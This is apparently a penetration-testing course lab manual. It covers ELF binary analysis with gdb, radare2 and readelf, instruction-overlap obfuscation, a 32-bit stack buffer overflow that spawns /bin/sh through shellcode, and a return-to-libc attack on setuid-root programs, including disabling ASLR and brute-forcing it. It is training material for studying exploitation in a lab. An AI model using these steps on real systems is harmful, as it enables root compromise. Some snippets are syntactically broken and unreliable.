---
tags: 工作用, Pentest, 滲透測試, CPENT
---
# Module 13(old): Binary Analysis and Exploitation (Expected Duration 2 hours 40 hours)
## Exercise 1: Binary Analysis
1. Login to the Software-Test-Linux-32bit machine using studentpassword as Password.

2. Open a terminal window, and enter cd Downloads.

3. Once you are in the folder, enter ./crackme0x00a. In the 64-bit machine, the program will not run since it is not built for 64 bit, so we will continue with the 32-bit machine for now. Once you run the program, enter some passwords to see if you can determine what the password is. An example of this is shown in the following screenshot.

4. Since we could not guess it, we now need to perform an analysis and see what we can learn about the file. We will use the file command. Enter file crackme0x00a. The output of this command is shown in the following screenshot.

5. As the above screenshot shows, we have an executable and linking format (ELF) 32 bit executable. The file is 32-bit, LSB executable (least-significant byte). It means that the file is little-endian.
6. We will use another tool. Enter rabin2 -I crackme0x00a. An example of the output of this command is shown in the following screenshot.

7. Let us now use powerful tool strings to see what we can discover in the binary. Enter strings crackme0x00a. An example of the output of this command is shown in the following screenshot.

8. As you review the strings, do you see anything of interest? We have the prompt for the password followed by what appears to be two responses and then a string. This could be the password, but it seems too easy. We will continue to explore the file further.
9. In the terminal window, enter xxd crackme0x00a | more. The output of this command is shown in the following screenshot.

10. To use rabin2 to crack the file, you will need to execute with a different parameter than the one we used at the information gathering process. If you refer to the manual, you will see that the parameter -z is used to show strings inside .data section (similar to gnu strings).
11. In the terminal window, enter rabin2 -z crackme0x00a. An example of this is shown in the following screenshot.

12. Next, we will use the Radare2 tool to look at the executable. In the terminal window, enter radare2 crackme0x00a. Once the program is entered, enter ?. This will allow you to review the different options. An example of the output of this command is shown in the following screenshot.

13. We now want to run the disassemble function. Enter pdf @ main. The output of this command is shown in the following screenshot.

14. Take a few minutes and look through the disassembled code. An example of this is strcmp, which is where our password is evaluated. Please check the following screenshot.
string.jpg
15. We want to look at the code with another tool, which we will now explore. In the terminal window, exit from Radare2 and enter gdb crackme0x00a. This will load the executable. Next, enter disassemble main. An example of the output of this command is shown in the following screenshot.
Screenshot
16. There is a strcmp instruction on <+70>.Therefore, let us set the breakpoint at the location and run the program using the following commands.
a. break *0x0804852a
b. run
17. The program will run until our breakpoint. An example of this is shown in the following screenshot.
Screenshot
18. Enter the password luckyguess. The comparison will reference the actual password as shown in the following screenshot.
Screenshot
19. This is successful. To be certain, we need to test the discovered password. Test the password to check whether it is correct, as shown in the following screenshot.
Screenshot
20. In computing, both hardware and software are reverse engineered. However, in this case, we will only refer to reverse engineering software, which usually offers a compiled program that is already in its binary format. The source is not available, but we want to know how it was made, how it works, and how to change it as well.
21. Now that we have performed the binary analysis of this file using these tools, let us move on and try some other techniques.
22. We want to look at another tool. Enter edb. An example of the output of this command is shown in the following screenshot.
Screenshot
23. This is the dashboard for Evan’s Debugger. We have discussed edb very briefly. You are encouraged to read more here: https://github.com/eteran/edb-debugger/wiki.
24. Let us now explore the 32-bit code and its components. In the 32-bit VM, enter objdump -d /bin/bash. An example of the output of this command is shown in the following screenshot.
Screenshot
25. Next, let us look at intel notation. In the terminal window, enter objdump -d -M intel /bin/bash. An example of part of the output is shown in the following screenshot.
Screenshot
26. Compare the above two screenshots. One thing that is different is the lack of a % in the intel format.
27. We used the objdump tool with different arguments in order to highlight the difference between the AT&T syntax and the Intel syntax for, in this case, the 32-bit version of Bash. The first command we issued used the -d command-line argument of objdump to disassemble the Bash binary. The output in the first screenshot shows, from left to right, the address of the instruction, the opcodes for the instruction and operands, the instruction itself, the source operand, a comma, and finally, the destination operand. In short, AT&T syntax is formatted as follows:
```
AT&T Syntax: <instruction> <source operand>,<destination operand>
```
28. Then, we repeat the first command-line instruction but add the -M intel command-line argument, which tells the objdump tool to format the output using Intel syntax. The second screenshot is a truncated version of a much larger output and contains the same instructions as the first screenshot, except that it is formatted using the Intel syntax. Moving from left to right across the four columns, the first column shows the address in the memory of the instruction; the second column shows the opcodes for the instruction and operands; the third column shows the instruction itself; and the final column shows the destination operand, a comma, and the source operand. To summarize, the Intel syntax is formatted as follows:
```
Intel Syntax: <instruction> <destination operand>,<source operand>
```
29. Fortunately, nasm will automatically understand which syntax we are using.
30. You may encounter several different naming conventions for 32-bit and 64-bit Intel assembly. When reading x86, x86-32, x86_32, IA32, and IA-32, know that this refers to 32-bit Intel assembly. x86-64, x86_64, IA64, and IA-64 refer to 64-bit Intel assembly. Intel, in this case, refers to the processor-specific instruction set, not necessarily the syntax format.
31. Let us now explore the different methods to extract information about the machine we are running. In the terminal window of the 32-bit virtual machine, enter man lscpu. Take a few minutes and review the information there.
Screenshot
32. In the terminal window, enter lscpu. An example of the output of this command is shown in the following screenshot.
Screenshot
33. Now, let us look at proc. In the terminal window, enter cat /proc/cpuinfo. The output of this command is shown in the following screenshot.
Screenshot
34. Now, let us use gdb to look at the registers. In the terminal window, enter the following commands:
a. gdb -q /bin/bash
b. break main
c. run
d. info registers
An example of the output is shown in the following screenshot.
Screenshot
35. The important part of this output is the Endianness of our processor. Little-endian means that when we are reviewing or storing data in a register or on the stack, it must be formatted with the least significant byte first. Thus, 0x12345678 will actually look like 0x78563412. This is an extremely important concept to understand and a very important piece of information to know about our processor.
36. When we discuss assembly and processor architectures, it is important to understand Endianness. When the least significant bit appears in our output first, it is called a little-endian. When the least significant bit is last, we call that a nig-endian. Throughout this course, we will use little-endian to display the least significant bit first when storing data in memory. This essentially means that when we deal with strings or immediate values, we need to reverse the order of the bytes. Endianness is one area that usually causes confusion, because we often forget to take it into account when analyzing binaries.
37. Enter quit to exit from gdb.
38. In the 32-bit machine, enter cat /usr/include/i386-linux-gnu/asm/unistd_32.h. An example of the output of this command is shown in the following screenshot.
Screenshot
39. Open another terminal window using the shortcut SHIFT+CTRL+t.
40. In the terminal window, enter man 2 write. Take a few minutes and review the information in the man page.
Screenshot
41. Open another terminal window. Next, enter man 2 exit. Take a few minutes and review the information in the man page.
Screenshot
42. We are ready to create a small assembly program. Open a text editor of your choice and enter the following:
```
global _start
section .text
_start:
; write(int fd, const void *buf, size_t count)
xor eax,eax
xor ebx,ebx
xor ecx,ecx
xor edx,edx
mov al,0x4
inc bl
push 0x000a2164
push 0x6c726f57
push 0x202c6f6c
push 0x6c6548
mov ecx,esp
mov dl,0xf
int 0x80
```
43. Save the files as code-one.asm, and ensure that the indentations are the same as in the example.
44. Next, enter the following commands:
a. nasm -f elf32 -o code-one.o code-one.asm
b. ld -o code-one code-one.o
c. chmod +x code-one
d. ./code-one
45. An example output of this command is shown in the following screenshot.
Screenshot
46. As you see, it takes a lot of assembly to create a simple program, so this is one of the reasons why the C language is so popular.
47. When reviewing disassembled binaries, we may see terms such as byte, word, double word, quad word, and double quad word. These terms represent 8 bits, 16 bits, 32 bits, 64 bits, and 128 bits, respectively.
48. When studying a disassembled binary’s output, it is also important to understand how the width of the data within an operand may impact the instruction syntax. For example, PUSH may become PUSH WORD when pushing a 32-bit wide piece of data onto the stack.
49. This program is based on the ELF-32 (executable and linking format). We will now extract information from the program so that we can understand it better.
50. As with anything, reading the man page is a good start. Enter man elf.
51. Take a few minutes and read the information contained within the man page. Once you have exited the man page, enter cat /usr/include/elf.h. The output of this command is shown in the following screenshot.
Screenshot
52. Now we are ready to learn more about ELF files. Enter man readelf. An example of the output of this command is shown in the following screenshot.
Screenshot
53. Next, let us review our code with this tool. Ensure that you are in the folder where you created your program, and enter readelf -h code-one. The output of this command, including the start with the ELF Header, is shown in the following screenshot.
Screenshot
54. The Magic is the 7f, start of the ELF header and 45 (E), 4C(L) and 46(F). So, it starts with ELF. The next number 01 means we have 32 bytes. If we had 64, it would be a 02. Then, the next 01 is for little- endian and a value of 02 would be for big-endian.
55. Next, we want to examine the object file. Enter readelf -h code-one.o. An example of the output of this command is shown in the following screenshot.
Screenshot
56. As we can see in the screenshot, Type is REL, so this is a relocatable file. As such, there are no program headers. The executable image program headers start 52 bytes in; there are none, so the start is 0.
57. Next, we will look at the listing. Enter readelf -l code-one (that is a n “el”). An example of the output of this command is shown in the following screenshot.
Screenshot
58. The program header is visible in the screenshot. It starts at virtual address 0x08048000, physical address 0x08048000, has a file size of 0x00086 (142) bytes, and takes up the same amount of memory. It is set with the R and E flags, indicating that segment is set with the permissions read/execute and requires a memory alignment of 0x1000 (4096) bytes. We can also see which sections are mapped to the segment, which is indicated in the program header table. This is the executable .text section.
59. Next, enter readelf -S code-one. An example of the output of this command is shown in the following screenshot.
Screenshot
60. This screenshot shows the section headers. We can see that for the .text section, the type is indicated as PROGBITS and is marked as executable (X). The PROGBITS type indicates that this section contains program data. This is because we coded the program in the .text section.
61. Next, enter readelf -s code-one. An example of the output of this command is shown in the following screenshot.
Screenshot
62. This screenshot shows the symbol table. We have the string table index, the memory location of the symbol itself, the size of the symbol is in bytes, the type of symbol, the symbol’s binding, whether it is visible or not, the section index, and the symbol name. Notice that we recognize at least two entries in our output: the _start symbol, marked GLOBAL, and the name of our file.
63. Next, let us look at the .text info. Enter readelf -R .text code-one. An example of the output of this command is shown in the following screenshot.
Screenshot
64. This screenshot shows the relocated bytes.
65. Next, enter readelf -x .text code-one. The output is the same as the previous command, but this option dumps the hexadecimal.
Screenshot
66. The lab objectives have been achieved.
## Exercise 2: Binary Analysis on a 64-bit Machine
Lab Objective:
In this lab, we will explore the creation and data for assembly language.
Lab Tasks
1. Login to the Software-Test-Linux machine using studentpassword as Password.
Screenshot
2. In the 64-bit machine, enter the following:
a. gdb -q /bin/bash
b. break main
c. run info registers
The output of this command is shown in the following screenshot.
Screenshot
3. As the screenshot in Step 2 shows, we have additional registers along with the 64-bit version of the registers we have already discussed. Next, enter lscpu. The output of this command is shown in the following screenshot.
Screenshot
4. Next, enter cat /usr/include/x86_64-linux-gnu/asm/unistd_64.h.
Screenshot
Screenshot
5. As you can see from the above screenshot, we have many more here with the write system call at 1. The exit is at 60.
6. Next, enter python to enter the python editor.
Screenshot
7. In the editor, enter c = "Hello, World!\n".
8. Next, enter c[::-1].encode('hex'). The output of the command is shown in the following screenshot.
Screenshot
9. Once the Python prompt is available, we initialize a variable called c and store the string as Hello, World!\n. Next, we use Python’s power of string manipulation, and in one line, reverse the order of the characters in the string with the c[::-1] syntax. Then, we call the encode method to encode our characters in their hexadecimal representation. This is done with the .encode('hex') part of the syntax. This makes our string almost usable for assembly.
10. In the terminal window, enter readelf -a -W ~/examples/samplecode/helloworld64-s. The output of this command is shown in the following screenshot.
Screenshot
11. The -a argument displays the ELF header, program headers, section headers, symbols, relocations, dynamic section, version information, architecture-specific information, and a histogram of bucket list lengths. We can also see that we are dealing with an executable file as opposed to a relocatable object file and the address in memory where execution begins is 0x400a0. There are nine program headers, each of which is 56 bytes in size, and thirty-one section headers, each of which is 64 bytes in size.
12. Next, enter readelf -s ~/examples/samplecode/helloworld64-s. The output of the symbol table is shown in the following screenshot.
Screenshot
13. What we can gather from this part of the output is that the printf() function is used somewhere in the program. Larger programs with more code and those that use additional functions from shared libraries will have many more functions linked dynamically similar to this. Continuing to review the output, the .symtab section shows us all symbol references in the program, including any variables or function names, and immediately.
14. The lab objectives have been achieved. Close all windows and clean up from the exercise as required.
## Exercise 3: Binary Analysis Methodology
Lab Objective:
Learn binary analysis methodology.
Lab Tasks
1. Login to the Software-Test-Linux machine using studentpassword as Password.
Screenshot
2. Launch a terminal window and enter sudo -i.
Screenshot
3. The first step is discovery. In the terminal window, enter find / -executable -type f. The output of the command will display a long list of programs, but we wanted to cover the step, since we are doing binary analysis and need to find executable files.
Screenshot
4. Next, in the terminal, enter file -i /bin/cat. The output of the command is shown in the following screenshot.
Screenshot
5. Next, enter ls -alt /bin/. The output of the command is shown in the following screenshot.
Screenshot
6. The -i argument is used to look at the /bin/cat binary and to show the results as strings for the mime type and mime encoding of the binary itself. Note the application/x-executable; charset=binary portion of the output.
7. Next, in the terminal window, enter updatedb; locate 'cat'. The output of this command is shown in the following screenshot.
Screenshot
8. The command is used to update a database for the mlocate tool. We then use the locate command to hunt down any file with the word cat in the name. These tools together make it fairly easy to track down binaries written to disk once we have the name of the binary. For example, as a result of reviewing the running processes on the host.
9. In the terminal window, enter ps -ef. An example of the output of the command is shown in the following screenshot.
Screenshot
10. This command displays all running processes by all users of the system, using the full format for displaying the output.
11. In the terminal window, enter for i in $(find / -executable -type f);do file -i $i | grep -i 'x-executable; charset=binary';done. An example of the output is shown in the following screenshot.
```bash=
$ for i in $(find / -executable -type f);do file -i $i | grep -i 'x-executable; charset=binary';done
```
Screenshot
12. This command shows for every line in the output of our find command, run the file command and grep the output to only display executable binary files.
13. We are now ready for the information gathering step. Launch a new terminal window, enter file ~/examples/samplecode/info. The output of the command is shown in the following screenshot.
Screenshot
14. We can see that this is a 64-bit executable and linking format (ELF) formatted executable binary that contains its symbol table (because it is not stripped in our output). The file command is a great way to start because it gives us quick yet detailed information about the format of the binary and other pertinent information such as the architecture, whether we are dealing with an executable or a relocatable object file, the binary hash, and whether or not the binary has been stripped of its symbol table or not. The output of the file command is largely dependent upon the options used when the binary was compiled.
15. Next, in the terminal window, enter strings ~/examples/samplecode/info. The output of the command is shown in the following screenshot.
Screenshot
16. This output reveals what appears to be a hardcoded password, a message requesting a password, a sentence using the C-style %s format string, and what appears to be a failure message if the password is incorrect.
17. You will also notice the use of scanf, printf, and strcmp near the beginning of the output. For those familiar with C programming, printf is used to display output to stdout, scanf is used to take input from stdin, and strcmp is used to compare two strings. Therefore, what this tells us is that this program uses these functions in some way. Based on the hardcoded password and the sentence requesting the password, you could make some assumptions about the program; however, it is much safer to be certain than to assume anything from the output.
18. Next, we will return to our readelf command. Enter readelf -h ~/examples/samplecode/info.
Screenshot
19. The readelf tool is invaluable in our quest for gathering information about a binary.
20. Next, enter readelf -l -W ~/examples/samplecode/info. The output of the command is shown in the following screenshot.
Screenshot
21. This provides us with additional information as well. Next, enter the following commands and review the output of each one.
a. readelf -S -W ~/examples/samplecode/info
b. readelf -p .text ~/examples/samplecode/info
c. readelf -x .text -W ~/examples/samplecode/info
An example of the output of these commands is shown in the following screenshot.
Screenshot
Screenshot
Screenshot
22. As the above screenshot shows, we see the hardcoded password in the dump.
23. In the terminal, enter the next series of commands and review the output of each one.
a. readelf -R .text -W ~/examples/samplecode/info
b. readelf -p .strtab -W ~/examples/samplecode/info
c. objdump -f ~/examples/samplecode/info
d. objdump -j .text -s ~/examples/samplecode/info
e. objdump -x ~/examples/samplecode/info
f. hexdump -C ~/examples/samplecode/info
An example of the output of these commands is shown in the following screenshot.
Screenshot
24. You are encouraged to examine which output you prefer and use that tool while also understanding any shortcomings it may have. An alternative tool to hexdump is xxd. A more powerful tool, because it allows us to modify the binary, is hexedit. You can install any of these using the APT package manager on the Ubuntu virtual machines by typing the following in a terminal session: sudo apt install hexedit -y. Note that an Internet connection is mandatory.
25. The next tool we will use is the Netwide Disassembler. In the terminal window, enter ndisasm -a -p intel ~/examples/samplecode/info. An example of the output of the command is shown in the following screenshot.
Screenshot
26. The next command to enter is objdump -D -M intel ~/examples/samplecode/info. An example of the output of the command is shown in the following screenshot.
Screenshot
27. As a reminder, the intel option is to format the output in Intel and not the default of AT&T.
28. Enter the next series of commands and review the output of each:
a. objdump -d -M intel ~/examples/samplecode/info
b. objdump -d -M intel ~/examples/samplecode/info.o
29. An example of the dump of the object code file is shown in the following screenshot.
Screenshot
30. Note the difference in output between disassembling the assembled object file only. This file has not been linked yet and has only undergone the preprocessor and assembly processes.
31. At this stage, we want to look at dynamic analysis. Before we do that, we can work through the debugger to get more practice. Enter the following commands and examine the output from each one.
a. gdb ~/examples/samplecode/info
b. set disassembly-flavor intel
c. break main
d. run
32. An example of when the program hits the breakpoint is shown in the following screenshot.
Screenshot
33. Now, we are ready to view the contents of the registers. Enter info registers.
Screenshot
34. Next, enter the following series of commands:
a. nexti
b. info registers
c. nexti
d. info registers
An example of the output is shown in the following screenshot.
Screenshot
35. Enter the x/s $rip command, if you are using the 64-bit system. Essentially, this final command tells GDB we want to examine the RIP register and display the output as a string.
Screenshot
36. Next, enter disassemble. Take a few minutes to review the output of this command.
Screenshot
37. We are now ready to move to the next step. Enter quit. This will exit the debugger. We will try another. Enter edb --run ~/examples/samplecode/info. This will launch Evans Debugger as shown in the following screenshot.
Screenshot
38. Next, click on CTL+SHIFT+f to open the function finder. The window will open with the first instruction highlighted as shown in the following screenshot.
Screenshot
39. Next, click on the Find button, and look for the info main function in the symbol table. Click on it, and then select Graph Selected Function. Take a few minutes to review the results from the graphing of the function.
Screenshot
Screenshot
40. As you see, there is a lot of capability and power with the tool edb. Close edb and enter strace ~/examples/samplecode/info. An example of the output of the command is shown in the following screenshot.
Screenshot
41. Take a few minutes and observe the results. Enter a variety of strings and observe the results again.
42. Next, enter ltrace ~/examples/samplecode/info. Again, enter different strings and observe the output. You will see the string compare function. This is because ltrace shows the libraries that are in the executable. An example of this is shown in the following screenshot.
Screenshot
43. It is a good idea to use automation. An example of an automation script is in the samplecode folder, and it is called automation.sh.
44. We will analyze one more binary before we complete the lab. Enter the following commands and analyze the output:
a. readelf -e -s -W ~/examples/samplecode/info2
Screenshot
b. objdump -d -M intel ~/examples/samplecode/info2
Screenshot
c. ltrace ~/examples/samplecode/info2
Screenshot
d. strace ~/examples/samplecode/info2
Screenshot
45. The lab objectives have been achieved. Close all windows and clean up as required.
## Exercise 4: Advanced Binary Analysis
Lab Objectives:
In this lab, we review the process for a customized disassembly of a binary. We will only provide a brief overview of this amazing process. Once you learn Advanced Binary Analysis, you will not face any obstacles in injecting code into the binaries that you are attempting to analyze.
Lab Tasks:
1. Login to the Software-Test-Linux machine using studentpassword as Password.
Screenshot
2. We will review a simple process of code obfuscation that deploys the method of instruction overlapping. The example we are using here is a simple reverse engineering of an exclusive or (xor) binary.
3. As mentioned in the slides, the assumption is that most instructions are mapped as follows:
a. Each byte in a binary is mapped to at least one instruction.
b. An instruction is contained in a single basic block.
4. As a result of this, a disassembler does not look for chunks of code to overlap. Consequently, when instructions overlap, it makes it more difficult to reverse engineer.
5. We can use this technique because x86 instructions vary in length. As a result, the processor does not enforce instruction alignment, which allows for code to occupy the space of another code instruction.
6. You can disassemble from the middle of one instruction; this will yield another instruction that overlaps the first instruction.
7. Remember that this is made easy within x86, because of the dense instruction set where virtually any byte sequence corresponds to some valid instruction.
8. We will be using the simple code example shown in the following screenshot that uses overlapping instruction.
Screenshot
9. Enter the code shown above and save it as overlap.c.
10. Once you have created and saved the file, compile it by entering gcc -o overlap overlap.c.
Screenshot
11. We can review the example of a simple overlap by entering the following code and examining our simple example and the corresponding object code.
12. Enter objdump -M intel --start-address=0x4005f6 -d overlap. The output of the command is shown in the following screenshot.
Screenshot
13. As the above screenshot shows, we have the block of code. As you review it, the first address ending in 5f6 is our parameter “i”. The local variable “j” is located at an address ending in 60a. Again, the instruction for the jne located at address ending in 60a jumps into the middle of the instruction instead of into an address of the instruction. For example, the instruction that performs the xor is located at the address ending in 610.
14. Most of the disassemblers will only disassemble these instructions that are shown in the screenshot. As a result, they would miss the overlapping instruction that is located at the address ending in 612.
15. As the code shows, if i=0, then the jump is not taken, and it falls the rest of the way through the code. The other option is that when i != 0, the hidden code will execute. So how do you determine this? Hopefully, you said by entering the address that the jne is jumping to and if you did, you are correct!
16. To see this, enter objdump -M intel --start-address=0x400612 -d overlap. An example of the output of this is shown in the following screenshot.
Screenshot
17. As the above screenshot shows, when i != 0 then we take the hidden branch. This result adds the value in al to 0x4, which results in a significant change in the code and changes the return value.
18. While we did reveal the instruction at the addresses ending 612 and 614 with our reverse engineering, we have now hidden the instructions located at the addresses ending in 610 and 611.
19. Due to this, we now face another challenge. This is why this process can be time consuming, especially when there are multiple locations where obfuscation is deployed. As with anything else, it takes extensive practice.
20. The lab objectives have been achieved.
## Exercise 5: 32-bit Buffer Overflow
Lab Objective:
Testing a program for buffer overflow vulnerabilities.
Lab Tasks
1. Login to the Software-Test-Linux-32bit machine using studentpassword as Password.
Screenshot
2. Before we get started at testing the buffer overflow of a program, we need to ensure that our machine is setup with the protections disabled. In the terminal window, enter sudo sysctl -w kernel.randomize_va_space=0. This will turn off Address Space Layout Randomization (ASLR) as shown in the following screenshot.
Screenshot
3. Now that the ASLR is off, we want to take a look at the code. Enter more ~/examples/samplecode/shellcode.c. An example of the output of the command is shown in the following screenshot.
Screenshot
4. As you can see from the above screenshot, we have a structure that defines our shellcode, and in the comments, we show the resulting assembly language code. This code invokes the execve() system call to execute /bin/sh. A few places in this shellcode are noteworthy. First, the third instruction pushes “//sh” rather than “/sh” into the stack. This is because we need a 32-bit number here, and “/sh” only has 24 bits. Fortunately, “//” is equivalent to“/”, so we can get away with a double slash symbol. Second, before calling the execve()system call, we need to store name[0](the address of the string), name(the address of the array), and NULL to the %ebx, %ecx, and %edx registers, respectively. Line 5 stores name[0]*to %ebx*, Line 8 stores name to %ecx, and Line 9 sets %edx to 0. There are other ways to set %edx to 0 (e.g. , xorl %edx, %edx); the one(cdq) used here is simply a shorter instruction: it copies the sign (bit 31) of the value in the EAX register (which is 0 at this point) into every bit position in the EDX register, basically setting %edx to 0. Third, the system call execve() is called when we set %al to 11, and execute “int $0x80”.
5. Now, we are ready to try and compile to see if our code provides a shell as we expect. Change the directory to the following cd ~/examples/samplecode. In the terminal window, enter gcc -z execstack -o shellcode shellcode.c. As long as you do not get any errors, we are okay. You will get warnings because modern-day compilers will alert if they see anything that is not sound programming. Therefore, why all the vulnerabilities? That cannot be answered without a long discussion that many will not agree on, so we will just work with what we have.
Screenshot
6. Verify that the program runs and produces the desired output as shown in the following screenshot.
Screenshot
7. To exit the shell, enter exit. We did not code +c. You can try, but it will not have any effect.
8. We now want to look at the vulnerable program. It is just a simple program using strcpy(), which should not be used for programming anymore except to teach buffer overflows.
9. Ensure you are in the samplecode directory, and enter more stack.c. The explanation for this is as follows.
Screenshot
10. The program first reads an input from a file called badfile, and then passes this input to another buffer in the function bof(). The original input can have a maximum length of 517 bytes, but the buffer in bof() is only BUFSIZE bytes long, which is less than 517. Because strcpy() does not check boundaries, buffer overflow will occur. Since this program is a root-owned Set-UID program, if a normal user can exploit this buffer overflow vulnerability, the user might be able to get a root shell. It should be noted that the program gets its input from a file called badfile. This file is under the users’ control. Now, our objective is to create the contents for badfile, such that when the vulnerable program copies the contents into its buffer, a root shell can be spawned.
11. After you have reviewed the short program, we need to compile it. Enter gcc -o stack -z execstack -fno-stack-protector stack.c. This should compile without errors.
Screenshot
12. For this buffer overflow, we need to make it a Set-UID to root. Enter sudo -i and navigate to samplecode directory by entering cd /home/student/examples/samplecode followed by chown root shellcode. Then enter chmod 4755 shellcode. Now to verify that the sticky bit is set, enter ls -lart shellcode. An example of this is shown in the following screenshot.
Screenshot
13. We now have the sticky bit (set-UID) set which is indicated by the “s”.
14. Return to the stack.c code and review it, as the codes indicate that we need to create this badfile. Once completed, we can get the instruction pointer to execute what we have passed it. So, within badfile, we must have the following:
a. Shellcode
b. Address of the shellcode
15. The contents of badfile needs to contain the following:
a. Find the address of the buffer variable in the bof().
b. Find the distance of the return address from the buffer variable.
c. Find the distance of the shellcode from the buffer variable.
d. Once we have a and c, find the expected address of the shell code.
e. With b and d, insert the shell code in the right location, the distance from the start of the badfile.
16. We have to compile the program again, and this time, use debug flags to assist.
17. In the terminal window, enter gcc -o stack_gdb -g -z execstack -fno-stack-protector stack.c. Once the code is compiled, enter ls -lart stack_gdb.
Screenshot
18. We now have debugging capability in the file, so we will analyze it with gdb. In the terminal window, enter the following:
a. gdb stack_gdb
b. break bof
c. run
An example of the output is shown in the following screenshot.
Screenshot
19. Wait a minute. We have a segmentation fault. Why do you think this is? Scroll down and you will see the answer. An example of this is shown in the following screenshot.
bof.jpg
20. The error message tells you that we do not have the file and when you look at the code, you see that we have a FILE defined as shown in the following screenshot.
Screenshot
21. This will occur. We need the file, so the easiest way is to open another terminal window and enter touch badfile. Now, return to the debugger and enter run. Next, the program should step to the breakpoint as shown in the following screenshot.
Screenshot
22. We are now ready to proceed. Enter print &buffer. An example of this is shown in the following screenshot.
Screenshot
23. Next, we need the address of the ebp. Enter print $ebp. An example of this is shown in the following screenshot.
Screenshot
24. We now have the following:
a. buffer[] = 0xbfffece2
b. ebp = 0xbfffed08
25. How do we find the distance between the two? The easiest way is to take the last three numbers since only that differs and subtract ce2 from d08, which is equal to 26 bytes. Thus, the distance is 26 bytes. This is a 32-bit machine and the pointer is 4 bytes, so that has to be added to the distance. So, 26+4 = 30. This means the frame pointer is 30 bytes from the buffer[]. An example of the code is shown in the next screenshot that verifies our findings.
buff.jpg
26. We have not yet completed the steps; we need to inject the shell code into a higher memory address. Therefore, we need to take into consideration that the return address occupies 4 bytes, so that has to be added. We have 30+4 added to the buffer[] to represent our lower address to inject the shell code.
27. Since the buffer[] is located at 0xbfffece2, we have to add our 34 bytes to this. The result is 0xbfffed16. Since there is no guarantee that the debugger is 100% accurate, we will select a higher address to compensate for this possibility. We will select the address 0xbfffeef8. This will place us at a higher address, and we can try to get the Instruction Pointer to land in our NOP sled. We use NOP to increase our chances of success.
28. We have the beginning of a program in the folder. Enter nano exploit.c, and take a few minutes to review the code. An example of the area of the code you need to work with is shown in the following screenshot.
Screenshot
29. The section that follows the memset that is loading our NOP instruction is the area that needs to be coded. As a reminder, this file is used to provide the contents of the badfile we want to load with our code.
30. We could provide you the correct answer now, but you should experiment with the process. The first thing to do is put in the required data to generate the badfile. An example of the hexdump of the file is shown in the following screenshot.
Screenshot
31. When you get it to work, you will obtain the following output.
Screenshot
32. One thing you will notice that we did not get the root shell. This is because of the protections that are in place for the running of the code. The shell recognizes that the real user is not root and blocks the elevation. To get around this, you have to set the UID to 0. An example of the output when this is correctly done is shown in the following screenshot.
Screenshot
33. As the above screenshot shows, we have now obtained the root shell. Enjoy and remember that frustration is good; we learn when we are frustrated.
34. Next, we can turn on the ASLR and see how our program does not work now. In the terminal window, enter sysctl -w kernel.randomize_va_space=2. Next, try to run your program. An example of this attempt is shown in the following screenshot.
Screenshot
35. As the above screenshot shows, the ASLR stops the program from being executed.
36. On 32-bit Linux machines, stacks only have 19 bits of entropy, which means the stack base address can have 219=524,288 possibilities. This number is not that high and can be exhausted easily with the brute-force approach. In this task, we use such an approach to defeat the address randomization countermeasure on our 32-bit VM.
37. Create the following shell script:
```c=
#!/bin/bash
SECONDS=0
Value=0
While [1]
do
value=$(( $value + 1 ))
duration=$SECONDS
min=$(($duration / 60))
sec=$(($duration / 60))
echo “$min minutes and $sec seconds elapsed
echo “The program has been running $value times so far.”
./stack
done
```
38. This code will continue to run until it finds the address to get the shell. Note that it may also not find the address. Please wait; it can take some time to get to the right address, that is if it does. These are the challenges of defeating the obstacles in the OS.
39. The lab objectives have been completed. Close all windows and clean up as required.
## Exercise 6: Libc Exploit to Bypass No Execute Stack
Lab Objective: Exploiting Libc to bypass No Execute Stack to obtain root privileges.
Lab Tasks
1. Login to the Software-Test-Linux-32bit machine using studentpassword as Password.
Screenshot
2. As we have done earlier, we first verify that the Address Space Layout Randomization (ASLR) is off, because as you saw earlier, this will complicate the process. In the terminal window, enter sysctl kernel.randomize_va_space. This should be set to 0. If it is not, then enter sudo sysctl kernel.randomize_va_space=0.
Screenshot
3. Now that we have turned the ASLR off, we can examine the sample code. The code we first want to look at is found in the retlib.c file. Open it in your preferred editor and review. An example of the code is shown in the following screenshot.
Screenshot
4. As you can see in the above screenshot, there is a buffer overflow problem in this code. It first reads an input of size 300 bytes from a file called badfile. It then copies this into a buffer of 12 bytes, so 300 into 12 is not going to work well. The code will be set to a set-UID program, so a normal user who is exploiting it can obtain root privileges. Again, we are going to use badfile to create our shell code, and then copy it to our 12-byte buffer.
5. We want to compile the code. Enter cd Downloads/libc and then Enter gcc -fno-stack-protector -z noexecstack -o retlib retlib.c.
Screenshot
6. Once the code compiles, we want to set the set-UID bit. Enter sudo chown root retlib and then sudo chmod 4755 retlib.
Screenshot
7. Our first task is to find the address of the libc function. In Linux, when a program runs, the libc library will be loaded into memory. When the memory address randomization is turned off, for the same program, the library is always loaded in the same memory address (for different programs, the memory addresses of the libc library may be different). Therefore, we can easily find out the address of system() using a debugging tool such as gdb. We can debug the target program retlib. Even though the program is a root-owned Set-UID program, we can still debug it, except that the privilege will be dropped (i.e., the effective user ID will be the same as the real user ID). Inside gdb, we need to type the run command to execute the target program once; otherwise, the library code will not be loaded. We use the p command (or print) to print out the address of the system() and exit() functions (we will need exit() later on).
8. We need to create our badfile. In the terminal window, enter touch badfile.
9. Now that we have the file, enter gdb -q retlib. We use the quiet mode here, and you will note from the following screenshot that we do not have debugging symbols.
Screenshot
10. Next, enter run. Once the output stops, enter p system. Then enter p exit and quit. An example of this output is shown in the following screenshot.
Screenshot
11. We have the two addresses now. The attack strategy is to jump to the system() function and get it to execute a command, which in our case is /bin/sh. For this to occur, we have to have /bin/sh in memory first and we need that address to pass to the system() in libc. One of the ways to this is to use an environment variable and that is what we will use; there are others as well
12. To create our environment, enter the following commands:
```bash=
export MYSHELL=/bin/sh
env | grep MYSHELL
```
13. An example of the output of these commands is shown in the following screenshot.
Screenshot
14. We now need to create a program that will provide us the address. In your preferred text editor, enter the following code:
```c=
#include <stdio.h>
#include <stdlib.h>
void main()
{
char* shell = getenv(“MYSHELL);
if (shell)
printf(“%x\n”, (unsigned int)shell);
}
```
15. Save the file as printenv.c and the compile it. Enter gcc -o printenv printenv.c. Then enter ./printenv to run the program. An example of this is shown in the following screenshot.
Screenshot
15. Now, let us return to our vulnerable program and review the process of how we can get the jump to the address of the environment variable. The area with the buffer overflow is shown in the following screenshot.
code.jpg
17. When bof() is called, our stack will resemble what is shown in the following screenshot.
stack1.jpg
18. To reiterate, we have a stack that is not executable, so we have to get the code to jump into the environment variable and run the system() at that address. This concept is shown in the following screenshot.
stack2.jpg
19. As the screenshot in Figure 6.8 shows, out first task is to overflow the return address of bof and replace it with the address of our system().
